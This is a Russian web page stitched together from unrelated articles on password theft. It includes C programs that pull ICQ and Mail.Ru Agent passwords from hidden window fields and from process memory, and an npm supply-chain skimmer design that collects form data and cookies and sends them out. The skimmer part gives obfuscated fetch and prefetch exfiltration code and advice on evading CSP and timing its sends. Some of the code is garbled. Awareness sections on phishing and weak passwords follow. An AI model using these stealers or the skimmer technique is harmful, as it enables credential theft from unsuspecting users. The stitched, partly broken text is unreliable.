Как украсть логин и пароль. Кража паролей из памяти

30.10.2019 Принтеры и сканеры

Меня порой поражает беспечность разработчиков программных продуктов. И данные шифруют, и алгоритмы новые придумывают, и программы свои от взлома защищают, но пользы большой это не приносит.

Любой более-менее продвинутый пользователь знает, что хранить пароли на диске небезопасно. Самое надежное хранилище паролей — это голова. В то же время, большинство программ, требующих авторизации пользователя, предоставляют возможность сохранения (запоминания) пароля в программе для ускорения процесса входа в систему в дальнейшем. Разработчики реализуют эту функцию по разному — кто-то хранит пароль в файлах настроек, кто-то в реестре, кто-то в защищенном хранилище Windows (тот же реестр, но доступный лишь пользователю System). Вариантов хранения масса. Впрочем, как и методов кражи паролей из этих мест. Существует множество вредоносных программ, основной или дополнительной функцией
которых является кража сохраненных паролей с жесткого диска жертвы.

Мы, ведь с вами, продвинутые пользователи, правда? И поэтому, никогда не сохраняем пароли, а только запоминаем. Верно ли утверждение, что в этом случае наш пароль в безопасности? Давайте проверим.

Что нам понадобится?

  1. Spy++ из пакета MS Visual Studio, или любая подобная утилита.
  2. PE Tools, или любая утилита, позволяющая сделать дамп процесса.
  3. Hex Workshop, или любой другой шестнадцатеричный редактор.
  4. MS Visual C++, или любой C компилятор.

Что будем исследовать?

  1. QIP . У меня — билд 8040. (qip.ru)
  2. &RQ . Я использовал версию 0.9.7.4. (andrq.org)
  3. Mail.Ru Агент . Версия 5.0, билд 2082. (agent.mail.ru)

Взлом паролей QIP

Бесплатный интернет-пейджер, написанный и поддерживаемый российским программистом. У QIP миллионы поклонников, которые любят его за удобство, кучу скинов и массу других полезных возможностей.
Если у вас еще нет этого ICQ-клиента — вперед на сайт разработчика за последней версией. Устанавливаем, запускаем.

Открывшееся окно предлагает нам ввести данные авторизации, либо завести новую учетную запись. Не важно, зарегистрируете ли вы новый аккаунт, или будете заходить со своими учетными данными. Двигаемся дальше.

QIP любезно предоставляет нам возможность сохранить пароль. Пароль мы сохранять не будем. Пока оставляем QIP в покое и открываем Spy++. Жмем Alt+F3 и открываем диалог поиска окна. Берем мышкой Finder Tool и кидаем его на окно менеджера учетных записей QIP ‘а.

Нажимаем Ok и Spy++ показывает нам в списке окон нужное нам окно — "QIP — Спокойное общение!", имя класса которого TManForm. На нем дерево дочерних окон, обеспечивающих интерфейс подключения к серверу. Нас интересуют TGroupBox, TComboBox на нем и TEdit. Это как раз наши UIN и пароль. Запомним название классов.

Переходим снова в окно QIP и нажимаем кнопку "Подключиться".

Диалог входа закрылся. Можно общаться. Но проверим, закрылось ли окно диалога? Обновим список окон в Spy++ (клавиша F5) и попробуем снова найти окно авторизации QIP . Нажимаем Alt+F3 и вводим параметры поиска. Для того чтобы найти окно нам надо указать хотя бы один параметр: Handle — уникальный идентификатор окна, Caption — надпись формы, Class — имя класса окна. Мы будем искать по классу.

Вводим в поле Class класс окна TManForm. Жмем Ok.

Что мы видим? Окно не закрылось. Оно просто невидимо… Попробуем прочитать поля с данными авторизации. Для этого используем стандартный механизм общения окон и системы в Windows — сообщения.

Начинаем программировать.

Void main()
{
//
HWND hManForm,hGroupBox,hEdit,hComboBox; //
Идентификаторы форм
char* pUIN; // Указатель на буфер для UIN
char* pPass; // Указатель на буфер для пароля
int iUIN; // Длина UIN
int iPass; // Длина пароля

// Найдем окно диалога авторизации
hManForm=FindWindow("TManForm",0);
//
Расположенная на нем группа элементов управления
hGroupBox=FindWindowEx(hManForm,0,"TGroupBox",0);

// Список с UIN"ами
hComboBox=FindWindowEx(hGroupBox,0,"TComboBox",0);
//
Получим длину текста в списке
iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1;
//
Выделяем необходимую память для буфера
pUIN=(char*)LocalAlloc(0, iUIN);
//
Получим непосредственно текст
SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN);

// Поле с паролем
hEdit=FindWindowEx(hGroupBox,0,"TEdit",0);
//
Дальше все по аналогии с UIN"ом

pPass=(char*)LocalAlloc(0, iPass);

//Выведем что получилось
cout << "[!!!]Found for: "<< pUIN << "\tPassword: " << pPass;

// Освободим память
LocalFree(pUIN);
LocalFree(pPass);
}

Сохраняем, компилируем, запускаем. Что у нас получилось? Если все сделано верно, то программа вернет строку, содержащую ваш UIN и пароль .

Следует заметить, что если мы запустим QIP , в котором предварительно была установлена опция "Сохранить пароль", то данный метод получения пароля работать не будет, так как в поле пароля находится текст "<:HIDDEN:>". Видимо, разработчик, краем уха все-таки слышал про безопасность.

Взлом паролей &RQ

Так же бесплатный и не менее популярный, чем QIP , ICQ-клиент, который ласково называют "крысой". Крыса поддерживает плагины, скины и поддерживается сообществом разработчиков.

Качаем последнюю стабильную версию с офсайта и начинаем исследование.

После запуска &RQ предлагает нам создать новый профиль, для чего надо указать свой UIN, либо зарегистрировать новый. Далее предлагается выбрать язык интерфейса и программа благополучно стартует. Для того, чтобы крыса подключилась к серверу, надо выбрать статус "Онлайн". Программа запрашивает пароль и подключается. Можно указать программе что надо подключаться автоматически при старте, для этого надо в настройках (Alt+P) поставить опцию "Соединяться при запуске" на фрейме "Запуск". Это не обязательно. Для нас же важна опция "Не сохранять пароль", в категории "Безопасность" настроек. Выставляем ее.

Переходим на фрейм "Соединение". Чем примечательна для нас данная категория? Тем, что здесь есть поле "Пароль". Запомним это обстоятельство. Пока же закроем крысу.

Откроем ее заново. Для подключения нам надо указать пароль, ведь мы выставили опцию "Не сохранят пароль". Введем пароль, подключимся. Снова вызовем диалог настроек. Удивительно, но поле "Пароль" содержит текст. Это наш пароль? Проверим.

Воспользовавшись утилитой Spy++, узнаем имена классов окон &RQ , и начнем писать код.

Void main()
{
// Объявим переменные, необходимые для работы
HWND hmainFrm,hprefFrm,hPanel,hconnectionFr,hEdit; //
Идентификаторы форм
char* pUIN; // Указатель на буфер для UIN
char* pPass; // Указатель на буфер для пароля
int iUIN; // Длина UIN
int iPass; // Длина пароля

// Основное окно &RQ. Из него мы будем получать UIN
hmainFrm=FindWindow("TmainFrm",0);
//
Длина текста
iUIN=SendMessage(hmainFrm, WM_GETTEXTLENGTH, 0, 0)+1;
//
Выделяем буфер
pUIN=(char*)LocalAlloc(0,iUIN);
//
Получаем заголовок основного окна - это UIN
GetWindowText(hmainFrm,pUIN,iUIN);

/*
Следует учитывать, что при запуске &RQ, окно настроек
не открывается вместе с основным окном. Но что же нам
мешает его открыть? Тем более что нам любезно предоставлена
возможность использовать горячие клавиши (Alt+P). Вот
и эмулируем их нажатие.

*/
// Эмуляция Alt+P - горячей клавиши для вызова окна "Настройки"
SendMessage(hmainFrm, WM_SYSKEYDOWN, "P", 0x20000000);
SendMessage(hmainFrm, WM_SYSKEYUP, "P", 0x20000000);

// Находим окно настроек
hprefFrm=FindWindow("TprefFrm",0);
//
Панель с категориями настроек
hPanel=FindWindowEx(hprefFrm,0,"TPanel",0);
//
Фрейм с настройками подключения
hconnectionFr=FindWindowEx(hPanel,0,"TconnectionFr",0);
//
Поле с паролем
hEdit=FindWindowEx(hconnectionFr,0,"TEdit",0);

// Длина пароля
iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
//
Выделаем буфер
pPass=(char*)LocalAlloc(0,iPass);
//
Получаем пароль
SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);

// Выводим результат
cout << "[!!!]Found for: "<< pUIN << "\tPassword: " << pPass;

// Освободим память
LocalFree(pUIN);
LocalFree(pPass);
}

После выполнения программы можно убедиться, что и данный пример работает. Мы получили наш пароль. При этом, если QIP в случае сохранения пароля на диске скрывает пароль, то &RQ не заботится о том, как был введен пароль. В окне настроек пароль можно обнаружить всегда.

Единственный нюанс заключается в том, что &RQ не открывает окно настроек после старта, хотя единожды открытое окно настроек после закрытия опять же не закрывается, а просто становится невидимым. В исходном коде мы использовали горячую клавишу, чтобы быть уверенными, что окно настроек открыто.

Взлом паролей Mail.Ru Агент

Очередное средство общения в сети, предоставляемое компанией Mail.Ru . Работает по собственному протоколу, имеет возможность голосового общения с выходом на внешние телефонные номера. Имеет кучу возможностей и соответственно, поклонников, которые пользуются им ежедневно.

В случае с Mail.ru Агентом мы будем использовать другой подход. Чуть более сложный, но не менее эффективный. Окна искать мы не будем. Попробуем найти пароль в памяти процесса.

Итак, качаем, устанавливаем, регистрируемся если надо и запускаем.

Агент поддерживает несколько аккаунтов пользователей, и список их хранит в реестре. В ветке HKEY_CURRENT_USER\Software\ Mail.Ru\Agent\magent_logins он создает столько REG_BINARY параметров, сколько аккаунтов зарегистрировано на локальном компьютере. Ключи при этом называются следующим образом: NNN#ваш_email_адрес, где NNN — порядковый номер аккаунта.

Посмотрим, есть ли в памяти процесса email-адрес. Для этого воспользуемся утилитой PE Tools, которая позволяет сделать дамп процесса.

Сохраняем дамп, загружаем его в Hex Workshop. Жмем Ctrl+F для открытия диалога поиска. Выбираем режим Text String и в поле Value вводим наш email-адрес. Нажимаем Ok и редактор выделяет найденный текст. Вы уже заметили? Через 4 байта от email-адреса находится пароль! Что это за 4 байта? Это 32-х битное значение длины пароля. Перед email-адресом тоже есть его длина. Вот и все, осталось только автоматизировать процесс поиска, чем мы и займемся.

// Функция возвращает хэндл процесса magent.exe
HANDLE GetProcess()
{
HANDLE hProcessSnap; //
Хэндл снимка процессов
PROCESSENTRY32 pe32; // Структура, содержащая информацию о процессе

// Делаем снимок процессов
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
//
Перебираем снимок
if(!Process32First(hProcessSnap,&pe32)) {CloseHandle(hProcessSnap);return 0;}
do
{
//
Сравниваем имя файла с magent.exe
if(!lstrcmp(strupr("magent.exe"),strupr(&pe32.szExeFile)))
{
//
Нашли нужный процесс, вернем его хэндл
return OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
}
} while(Process32Next(hProcessSnap,&pe32));
//
Закрываем снимок процессов
CloseHandle(hProcessSnap);
return 0;
}

void main()
{
HKEY hKey; // Идентификатор ключа реестра
DWORD i,t, retCode, cValues = 256; //
Необходимые промежуточные переменные
char regValue; //
Буфер для чтения ключа реестра
DWORD cchValue = 1024; //
Размер буфера
HANDLE hProcess; // Хэндл процесса
char szEmail; //
Буфер для email-адреса
int iEmail; // Длина email-адреса
HMODULE hModule; // Хэндл модуля
MODULEINFO modinfo; // Структура, содержащая информацию о модуле
DWORD dwReaded; // Количество байт в дампе процесса
char szPass; // Буфер для пароля
bool found; // Флаг найден/не найден пароль
char* pTmp; // Временный буфер

hProcess=GetProcess();
if (hProcess)
{
//
Получаем хэндл модуля по хэндлу процесса,
// для чего временно создаем новый поток
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)GetModuleHandle, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (LPDWORD)&hModule);
CloseHandle(hThread);

// Получаем информацию о загруженном модуле
GetModuleInformation(hProcess,hModule,&modinfo,sizeof(MODULEINFO));

// Буфер для дампа
PBYTE pBuffer = new BYTE;
//
Читаем дамп
ReadProcessMemory(hProcess, modinfo.lpBaseOfDll, pBuffer,
modinfo.SizeOfImage, &dwReaded);
if (dwReaded>0)
{
//
Открываем ключ реестра
if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Mail.Ru\\Agent
\\magent_logins",0,KEY_QUERY_VALUE,&hKey)==ERROR_SUCCESS)
{
for (t = 0, retCode = ERROR_SUCCESS; t < cValues; t++)
{
//
Перебираем по очереди параметры ключа реестра для поиска email"ов в дампе
retCode = RegEnumValue(hKey, t, regValue, &cchValue, NULL, NULL, NULL, NULL);
if (retCode == ERROR_SUCCESS)
{
//
Первые 4 байта имени параметра это номер, его пропускаем. Далее идет адрес.
lstrcpy(szEmail,(const char*)®Value);
iEmail=lstrlen(szEmail);
//
Выделяем буфер, в который будем заносить сравниваемые участки дампа
pTmp=(char*)LocalAlloc(0,iEmail);
found=FALSE;
//
Двигаемся по дампу
for (i=0;i {
if (found){i=dwReaded;} //
Заканчиваем перебор
// Берем очередной участок дампа для сравнения
memcpy(&pTmp,&pBuffer[i],iEmail);
//
Сравниваем
if (!memcmp(&pTmp,szEmail,iEmail))
{
//
Через 4 байта после адреса находится пароль.
memcpy(szPass,&pBuffer,sizeof(szPass));
//
Пароль найден. Выводим результат.
cout << "[!!!]Found for: " << szEmail << "\tPassword: " << szPass;
found=TRUE;
}
}
LocalFree(pTmp);
}
}
RegCloseKey(hKey);
}
}
}
}

Компилируем, запускаем, получаем пароль. Все просто.

Заключение

Какой можно сделать вывод? Даже если мы не храним конфиденциальную информацию на жестком диске, она является уязвимой. Всегда можно найти кучу способов получить закрытую информацию, а многие из этих способов будут настолько просты и неожиданны, что их может обнаружить каждый. Надо лишь мыслить нестандартно и все у вас получится.

Все вышеприведенные примеры направлены на привлечение более пристального внимания разработчиков программ к проблеме информационной безопасности. Приведенный автором код не претендует на уникальность и универсальность, тем не менее, принцип получения информации, применим ко многим программным продуктам.

Код примеров можно модифицировать, но использовать настоятельно рекомендуется только в образовательных целях.

Андрей Березов

Всем доброго времени суток. Закончились предновогодние авралы и зимние каникулы и пора уже что-нибудь написать в блог. Первую запись в этом году я хочу посвятить ликбезу по методам кражи паролей в противовес одной из предыдущих публикаций: Когда вас «взломали» не обязательно бежать менять все пароли . Сразу стоит уточнить, что материал направлен на неспециалистов по защите информации и носит ознакомительный характер. Хотя, возможно, специалисты тоже подчерпнут для себя что-то новое.

Как бы все не ненавидели пароли, это по сей день остается наиболее популярным средством идентификации, но, к сожалению, иногда у нас их крадут. Частично проблему помогает решить двухфакторная аутентификация, но лишь частично и лишь для наиболее критичных сервисов.

По статистике наиболее распространенными причинами потери контроля над аккаунтами становятся две вещи: использование простых (словарных) паролей и социальная инженерия. В этой статье я расскажу об основных методах взлома паролей естественно с целью повышения осведомленности в этом вопросе у широкой аудитории (использование материалов в деструктивных целях карается законом, автор ответственности не несет и прочее бла-бла-бла).

  1. Угадывание

Да, все так просто. Ваш пароль могут тупо угадать. Помните все эти эпизоды в голливудских фильмах, когда герои взламывают чей-то компьютер и в качестве пароля пробуют имена детей, бабушек, дедушек, дядь, теть, клички домашних животных жертвы и т. д.? Так вот, это действительно один из действенных способов взлома и этот архаичный метод эффективен до сих пор. Ведь сейчас все публикуют тонны информации о себе в социальных сетях и если пароль основан на каких-то данных, связанных с личностью владельца взламываемого аккаунта, то подбор пароля - дело времени (это как раз является причиной того, почему пароли нужно периодически менять).

Противодействие методу: в общем, надеюсь, вы поняли, что «tanyushka1990» - это плохой пароль, даже если Танюшка это не вы, а ваша любимая внучка. Используйте не угадываемые интуитивно пароли. Периодически (не реже раза в год) меняйте пароли хотя бы к критичным аккаунтам.

  1. Социальная инженерия

Социальная инженерия понятие достаточно широкое. Социальный инженер может взаимодействовать с жертвой как лично, так и по телефону, но чаще всего взаимодействует по электронным каналам связи - мессенджеры, соцсети, электронная почта. И здесь мы не будем рассматривать методы социнженерии как таковые, тут я лучше посоветую почитать классику жанра - книгу В. Саймона и К. Митника «Искусство обмана». Здесь нам важно то, что методы социальной инженерии в плане кражи паролей направлены на то, чтобы заставить жертву саму отдать свой пароль. Один из примеров выглядит так: злоумышленник представляется новым системным администратором и говорит сотруднику вашей организации, что ему нужен пароль от электронной почты этого сотрудника для проведения каких-нибудь сферических вакуумных тестов. Другой пример, когда личный контакт злоумышленника с жертвой отсутствует: веерная рассылка с ссылкой и тревожным сообщением (например, на ваш аккаунт нажаловались, его заблокировали и вам «нужно» пройти по ссылке для разблокировки). Фишинговая ссылка ведет на страницу, заранее подготовленную злоумышленником и один в один похожую на страницу авторизации какого-нибудь популярного сервиса, например: vk.com, gmail.com, facebook.com и т. д. Что происходит дальше: жертва, думая, что это легальный сервис, вводит свой логин и пароль, эти идентификационные данные отправляются злоумышленнику, выдается сообщение об ошибке (ну кто из нас никогда не ошибался при вводе пароля? всякое бывает!) и далее пользователь перенаправляется на настоящую страницу авторизации, ведь грязное дело уже сделано и жертву нет смысла держать на поддельной странице. Кстати, если кто-то еще не знает, почему Windows просит нажать сочетание клавиш Alt-Ctrl-Del перед входом в систему, настоятельно советую загуглить и почитать.

Противодействие методу: обычно на предприятиях используются гибридные методы противодействия социальной инженерии (на тех предприятиях естественно, где вообще озаботились вопросами защиты информации), но нужно понимать, что поскольку социальный инженер может провзаимодействовать с жертвой и без использования каких-либо каналов связи (и, соответственно отфильтровать, заблокировать, отследить его сообщения мы не сможем), то единственным действительно эффективным методом противодействия является информирование сотрудников (ну, или себя самого, если речь идет о личной безопасности) о методах социальной инженерии. Ведь в наши дни мало кто поведется на наследство нигерийского принца или на развод «Мама, закинь денег на номер ХХХХ. Потом объясню», а ведь когда-то эти методы работали.

  1. Подглядывание

Здесь только вскользь упомяну о таких очевидных вещах, как о паролях на стикерах, которые приклеены к монитору или на бумажках под клавиатурой. Под подглядыванием здесь можно понимать и подглядывание процесса набора пароля. То есть пароль лучше вводить, когда за процессом никто не наблюдает. Есть люди с интересными способностями. Например, один мой знакомый поспорил со мной, что посмотрит, как я ввожу пароль на ноутбуке, а потом повторит ввод этого пароля сам. И действительно повторил. Я очень удивился, так как владею слепым десятипальцевым набором и могу ввести свой пароль очень быстро. Оказалось, что у знакомого какая-то особенная фотографическая память. Опасный человек =)

То есть подглядывание помогает злоумышленнику быстро получить готовый пароль и не прибегать к другим более сложным или ресурсоемким техникам, о которых речь пойдет далее. Но подглядывание пароля «глазами» это не единственный способ. Например, если вы вводили свой пароль на чужом компьютере и случайно сохранили пароль, вышли из аккаунта, но не очистили данные, то кто-то другой может не только войти в аккаунт не зная пароля (это еще полбеды), но и выудить этот пароль в явном виде, вставив в адресную строку браузера на странице где введен логин и пароль (замаскирован звездочками) вот такой простой скрипт:

javascript:(function(){var%20s,F,j,f,i;%20s%20=%20%22%22; %20F%20=%20document.forms;%20for(j=0;%20j

[свернуть]

Если пароль используется на других аккаунтах, то злоумышленник может получить доступ и к ним тоже. Вот поэтому специалисты по безопасности категорически не рекомендуют использовать один и тот же пароль для разных аккаунтов.

Противодействие методу: не вводите пароль, когда кто-то стоит рядом и смотрит на ваши руки. Не вводите пароль на недоверенных устройствах. Если все же пришлось, позаботьтесь об очистке информации о паролях и cookies. К тому же на недоверенных устройствах могут быть установлены кейлоггеры .

  1. Подбор паролей по словарям

Мы плавно перешли от интуитивных и мошеннических техник угона паролей к техническим. Первая из них это подбор паролей по словарям. Пожалуй, даже неспециалисты в области информационной безопасности слышали из новостей о крупных утечках паролей к почтовым ящикам на разных почтовых сервисах. Как потом выяснилось большинство из этих утечек было связано не со взломами серверов поставщика услуг, а с банальным подбором паролей к почтовым ящикам по словарям. Большинство паролей «взломанных» почтовых ящиков представляли из себя комбинации типа «123456», «qwerty» и тому подобные. В разделе «Материалы» я выложил парочку словарей с паролями (их можно пополнять самостоятельно), которые можно использовать как в различных инструментах типа John the Ripper или Hydra , либо для проверки банальным поиском есть ли в словаре ваш пароль. Если есть, то срочно меняем!

Противодействие методу: использование сложных, не словарных паролей.

  1. Брутфорс

Название метода происходит от двух английских слов: brute - грубая и force - сила. Из названия интуитивно понятно, чем этот метод отличается от предыдущего - здесь просто перебираются все возможные комбинации пароля. Метод затратен по времени и по ресурсам, ведь для подбора таким методом нужны немалые вычислительные ресурсы. Поэтому к такому методу злоумышленники прибегают только в крайних случаях. Уменьшить время подбора может позволить, например, знание точной длины пароля или знание того, что в пароле точно нет специальных символов и цифр. Таким образом, сокращается количество возможных комбинаций.

Противодействие методу: использование длинных хаотичных паролей и периодическая смена паролей.

  1. Радужные таблицы

Все кому в последние годы приходилось восстанавливать пароль к какому-либо сервису должны были заметить, что если раньше некоторые сервисы просто присылали вам ваш пароль на электронную почту, то теперь вам нужно сразу же придумать новый пароль. Это связано с тем, что ни один уважающий себя сервис не хранит пароли в открытом виде. Хранятся пароли в виде хешей. Если коротко, то хешем называется результат преобразования текста (в нашем случае - пароля) некой необратимой математической функцией. Результат преобразования распространенным алгоритмом MD5 слова «password» (без кавычек) выглядит следующим образом:. Примерно в таком виде и хранятся наши пароли у провайдеров услуг, и поскольку считается, что функции необратимые, то сами провайдеры вроде как не могут знать наш пароль и выслать нам его в открытом виде. Подробнее о хешировании можно почитать .

Радужные таблицы, если очень грубо говорить позволяют восстановить пароль по хэшу. Полный процесс конечно гораздо сложнее, чем кажется. Поэтому, кому интересно ознакомиться с технологией подробнее, можно начать со страницы в википедии . Казалось бы, что с помощью радужных таблиц можно было бы взломать почти любой пароль, но и тут есть свои сложности для злоумышленника. Если при брутфорсе нужны временные и ресурсные затраты на сам перебор, то в случае радужных таблиц то же самое нужно для генерации этих самых таблиц. При этом любой набор радужных таблиц будет иметь множество ограничений, к ним относятся: ограничение на длину пароля, ограничение на набор символов, ограничение на конкретный алгоритм хэширования. В сети в общем доступе можно найти радужные таблицы для подбора паролей не длиннее 6 символов, которые содержат только буквы английского алфавита обоих регистров, но без спецсимволов и цифр. Но вот уже за что-то посерьезнее просят денег.

Противодействие методу: засолка хешей. К сожалению, данный вид противодействия доступен только на уровне администраторов сервисов и никак не зависит от действий конечного пользователя.

  1. Гибридные методы

Под гибридными методами понимается сочетание различных методов, приведенных выше, в совокупности. На самом деле, пример использования методов «брутфорс» + «подглядывание» уже был приведен выше. Например, злоумышленник может подсмотреть не пароль целиком, а лишь символы, из которых состоит пароль. Это позволит ему в параметрах при брутфорсе указать только нужные символы, а все остальные исключить из перебора, тем самым существенно сократив количество возможных комбинаций.

Еще один пример гибридного метода: берется словарное слово и в нем делаются замены букв на спецсимволы. Например, берется словарный пароль «password» и пробуются комбинации «password123», «p@ssword», «pa$$w0rd» и т. д.

Противодействие гибридным методам заключается в использовании всех методик противодействия, приведенных выше.

Кража паролей лишит вас доступа к своей странице или может оставить без кругленькой суммы – вот оно, счастье злоумышленника.

Рассмотрим один интересный способ, как кража паролей может быть успешно реализована.

Заполучить пароль или номер кредитной карты можно многими способами. Далее речь пойдет о том, как это делается при помощи внедрения кода в npm-пакет.

Вредоносный код, который и выполняет всю грязную работу, занимается поиском на странице браузера чего-либо из представленного ниже:

  • любая форма для ввода;
  • элемент со свойством, в названии которого встречается «password», «cardnumber», «cvc», «checkout» и т. д.

Если после события submit искомая информация найдена, на этой страничке есть чем поживиться.

  • Из каждого поля формы извлекаем информацию: (document.forms.forEach(…) );
  • собираем «печеньки»: document.cookie;
  • все это дело оборачивается всегда в рандомную строку: const payload = btoa(JSON.stringify(sensitiveUserData)) ;
  • а после, отправляется на промежуточный хост: https://legit-analytics.com?q=${payload} ;
  • и в случае наличия полезностей – отправляется на сервер хакера.

Перевернем мир

Чтобы это счастье вышло в свет, нужно как-то заставить код попасть на потенциальные сайты-доноры. Можно пытаться пробиться через расширения браузеров, но это не так эффективно. Межсайтовый скриптинг – хороший вариант, но у него (у XSS) есть свои протоколы безопасности, и снова не те масштабы. Гораздо лучше подойдет npm.

Можно изобрести пакет, который будет на лету менять цвет консольного вывода в браузере.

Заставляем принять этот “полезный” апдейт в свои зависимости, при помощи пулл-реквеста для нескольких (любых) существующих пакетов в сети, и ждать.

Через месяц имеем 120000 скачиваний этого обновления и выполнение кода на более чем 1000 сайтов. Конечно же, это не панацея, и велика вероятность, что эфемерное обновление пакета не примут с распростертыми объятиями, но это безопасно, и есть шанс, что быстро не засекут.

А может, ложку дегтя?

Звучит все гладко и красиво, но есть некоторые вопросы, которые могут появиться у пытливого читателя, и их нужно развенчать.

Сетевые запросы от скрипта – код почти ничего не отправляет, т. е. постоянного обмена трафиком нет. Отсылка собранного материала происходит с 19:00 до 7:00, когда безопасники и прочие тестеры уже ничего не тестируют. Даже если тестировщик и захочет отличиться, код подменяет URL на “левый”, схожий с социальными сетями, и отправка происходит всегда в разное время: вот такой эффект неожиданности.

Поиск “странностей” в npm. Удачи! Временные и ресурсные затраты несопоставимы, ну а если и найдется что-то, то в коде нет и намека на fetch, XMLHttpRequest или адрес хоста, на который все отправляется.

const i = "gfudi"; const k = s => s.split("").map(c => String.fromCharCode(c.charCodeAt() - 1)).join(""); self(urlWithYourPreciousData);

const i = "gfudi" ;

const k = s = > s . split ("" ) . map (c = > String . fromCharCode (c . charCodeAt () - 1 ) ) . join ("" ) ;

self [ k (i ) ] (urlWithYourPreciousData ) ;

«gfudi» – это fetch, но с переставленными буквами на одну, а self – это алиас window. Не используется ничего обычного, как fetch. Вместо этого, везде где можно, нужно применять EventSource(urlВашихЛюбимыхДанных). Даже если трафик буду слушать по serviceWorker-у, никто ничего не заподозрит т. к. ничего не отправляется в браузерах, которые поддерживают serviceWorker.

Использование CSP в качестве защиты. С точки зрения CSP наш код ничего запрещенного не делает, кроме отправки данных на какой-то домен. Да, CSP неплохо справляется с XSS-атаками и может ограничивать общение браузера с внешним миром, но действия скрипта не настолько масштабны, чтобы можно было что-то проанализировать.

const linkEl = document.createElement("link"); linkEl.rel = "prefetch"; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl);

const linkEl = document . createElement ("link" ) ;

linkEl . rel = "prefetch" ;

linkEl . href = urlWithYourPreciousData ;

document . head . appendChild (linkEl ) ;

Чтобы не поплатиться за взлом, нужно проверять CSP на наличие функционирующей системы блокировки (connect-src) и инструмент-перехватчик (default-src). Сделать это можно так:

JavaScript

fetch(document.location.href) .then(resp => { const csp = resp.headers.get("Content-Security-Policy"); // Смотрим, как работает CSP });

Проверять нужно в первый раз, чтобы пользователь, и прочие надзиратели ничего не заподозрили.

Куда теперь бежать?

Теперь подумаем от лица пользователя или разработчика: “Все плохо, наши пароли уже в даркнэте!”. Чтобы попытаться избежать провала, нельзя использовать npm на страницах с формами, и прочими собирающими компонентами. Нельзя использовать стороннюю рекламу, Google Tag Manager, скрипты с диаграммами, аналитику – никакого постороннего кода быть не должно, иначе можно получить инъекцию. Это касается только страниц, где пользователь что-то вводит, остальная же часть сайта может спокойно работать на React-е и не беспокоиться.

Вам нужна отдельная страница, которая не имеет ничего лишнего и уже в ней собирать номера кредиток, пароли и учетные данные в iFrame.

Кража паролей осуществляется и при помощи фишинга (подделывание настоящего сайта инфицированной копией). Если хакер сможет завладеть вашим почтовым ящиком, то плакали все регистрации и банковские счета, которые были привязаны к этой почте. За 2017 год было взломано 12 млн. учетных записей.

Вполне успешным является и кейлогерство – 1 млн. пользователей пострадал, именно из-за этого вредоноса.

Заключение

Статья о том, что никому нельзя доверять, и оставлять сайт с известными уязвимостями строго запрещено, т. к. в мире огромное количество желающих полакомиться чем-то ценным. Любой сайт уязвим, и список этих брешей постоянно меняется: не забывайте держать руку на пульсе.

Перевод на русский осуществлен Библиотекой Программиста.

На «ВКонтакте.РУ» и «Одноклассниках» сейчас зарегистрировано множество неопытных пользователей, которые могут легко стать жертвой злоумышленников. 99% так называемых «взломщиков» в действительности ничего не взламывают, то есть не пользуются уязвимостями на ВКонтакте.РУ или вашей почте. Их там мало, они не общеизвестны, а тем, кто их находит, неплохо платят. Тот же Павел Дуров, по слухам, выдает несколько сотен баксов за найденные уязвимости на ВКонтакте.РУ. Итак, каковы самые распространенные способы «взлома» учетных записей, кражи паролей, почтовых ящиков, как их избежать и как действовать, если это все-таки случилось?


1. Старый добрый фишинг.

Фишинг (англ. phishing, т.е. fishing — ловля рыбки) означает следующее: создается сайт, выглядящий точной копией другого сайта и имеющий похожий адрес (например, вконтатке.ру).


Тем или иным способом вас заманивают на этот поддельный сайт, и вы вводите там свой пароль. Вам, например, может прийти письмо, которое выглядит в точности как уведомление от ВКонтакте.ру о поступлении комментария к вашей фотографии. Но ссылка на комментарий в письме будет выглядеть примерно так: http://vkontakte.ru/блаблабла . Обратите внимание, что эта ссылка ведет вовсе не туда, куда вы думаете, а на google.com. Итак, вы заходите на поддельный сайт со схожим адресом, вводите свой пароль. Вас перенаправляют на настоящий сайт, а пароль остается у злоумышленника.
_______________________________________________________________
Мораль: прежде чем вводить пароль, внимательно изучите адрес в адресной строке браузера. Там действительно должно быть написано vkontakte.ru, а не vkontatke.ru.


_______________________________________________________________
2. Письмо от «администрации».

Вам приходит письмо или сообщение от администрации ресурса. В письме говорится о том, что произошла потеря данных на сервере, или производится перепроверка учетных записей, или что-то еще. Поэтому вас просят ввести свой пароль в форму ниже или отправить его в ответном письме. При этом адрес отправителя похож на настоящий ([email protected]) или подделан.
_______________________________________________________________
Мораль: никто и никогда не спрашивает ваших паролей в письмах и не просит их куда-то ввести.

_______________________________________________________________
3. «Вставьте этот код в адресную строку браузера и нажмите Enter»

Злоумышленник присылает вам некий код, который начинается с «javasсript:document.write(”…», просит вас вставить его в адресную строку браузера и нажать Enter.


Легенда может быть разная, например, «Ваш аккаунт подозревается в массовой рассылке сообщений. Чтобы подтвердить, что вы не робот, вставьте этот код…». Или сообщение от друга: «На сайте есть классная фишка, такой хитрый прием, чтобы его сделать, вставляй этот код…». Сообщение может отправляться от имени вашего друга, чей аккаунт был украден.


Смысл в том, что этот код на самом деле является мини-программой на языке JavaSсript, которая отправляет ваши сооkiеs злоумышленнику. Эту программу можно вставить в адресную строку браузера или в ссылку.
_______________________________________________________________
Мораль: видишь «javasсript:» и длинный непонятный текст — не нажимай.


_______________________________________________________________
4. «Секрет Полишинеля» — не очень-то секретный секретный вопрос.

На многих сайтах, в т.ч. в электронной почте вы можете восстановить свой пароль, если вы его забыли, введя ответ на секретный вопрос.


Примеры очень неудачных секретных вопросов: «Моя любимая футбольная команда» — решается простым перебором из нескольких десятков вариантов. «Мой любимый телефонный номер», «номер моего паспорта», «мое любимое блюдо» — вы же не думаете, что эта информация секретна? Сейчас любой школьник может легко узнать номер вашего паспорта, цвет вашей машины и когда вас в последний раз задерживали за распитие распиточных материалов в общественных местах.


